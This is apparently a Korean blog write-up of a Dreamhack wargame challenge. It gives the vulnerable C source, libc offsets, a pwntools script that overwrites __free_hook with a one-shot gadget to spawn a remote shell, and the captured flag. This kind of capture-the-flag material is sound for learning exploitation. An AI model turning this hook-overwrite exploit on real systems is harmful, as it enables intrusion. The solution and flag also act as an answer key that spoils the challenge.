Desciption

    이 문제는 작동하고 있는 서비스(hook)의 바이너리와 소스코드가 주어집니다.
    프로그램의 취약점을 찾고 _hook Overwrite 공격 기법으로 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
    “flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
    플래그의 형식은 DH{…} 입니다.

    checksec

    // gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
    #include <stdio.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <unistd.h>
    
    void alarm_handler() {
        puts("TIME OUT");
        exit(-1);
    }
    
    void initialize() {
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
        signal(SIGALRM, alarm_handler);
        alarm(60);
    }
    
    int main(int argc, char *argv[]) {
        long *ptr;
        size_t size;
    
        initialize();
    
        printf("stdout: %p\n", stdout);
    
        printf("Size: ");
        scanf("%ld", &size);
    
        ptr = malloc(size);
    
        printf("Data: ");
        read(0, ptr, size);
    
        *(long *)*ptr = *(ptr+1);
    
        free(ptr);
        free(ptr);
    
        system("/bin/sh");
        return 0;
    }
    

    Solution

    oneshot_gadget = 0x4527a

    libc_base = (출력되는 stdout 주소) – 0x3C5620 (IDA에서 가져온 .data:00000000003C5620 IO_2_1_stdout)

    .bss:00000000003C67A8 __free_hook에 oneshot_gadget주소를 넣어 쉘이 실행되도록 만든다.

    solve.py

    from pwn import *
    warnings.filterwarnings('ignore')
    
    p = remote('host3.dreamhack.games', 20025)
    
    libc_base = p.recvuntil("Size: ")
    libc_base = str(libc_base).split(": ")[1][:-6]
    libc_base = int(libc_base, 16)
    print("libc_base: " + hex(libc_base))
    
    p.sendline(b"1024")
    p.recvuntil("Data: ")
    
    libc_base = libc_base - 0x3C5620
    oneshot_gadget = libc_base + 0x4527a
    free_hook = libc_base + 0x3C67A8
    
    payload = p64(free_hook)
    payload += p64(oneshot_gadget)
    
    p.sendline(payload)
    
    p.interactive()

    FLAG

    DH{c5e5c5c0a45d71d2666571ab2dc09cf4c4e750402ab4bb4c8a57091063ee7418}

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다